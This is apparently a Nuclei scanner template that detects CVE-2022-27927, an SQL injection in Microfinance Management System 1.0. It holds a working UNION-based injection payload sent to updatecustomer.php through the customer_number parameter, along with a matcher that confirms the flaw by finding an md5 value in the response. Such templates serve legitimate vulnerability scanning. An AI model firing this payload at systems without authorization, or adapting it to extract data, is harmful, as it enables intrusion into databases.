id: CVE-2022-27927
info:
  name: Microfinance Management System 1.0 - 'customer_number' SQLi
  author: lucasljm2001,ekrause
  severity: critical
  description: |
    Detects an SQL Injection vulnerability in Microfinance Management System.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27927
    - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
    - https://www.exploit-db.com/exploits/50891
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27927
    cwe-id: CWE-89
  metadata:
    verified: "true"
  tags: cve,cve2022,sqli

variables:
  num: "999999999"

requests:
  - raw:
      - |
        GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200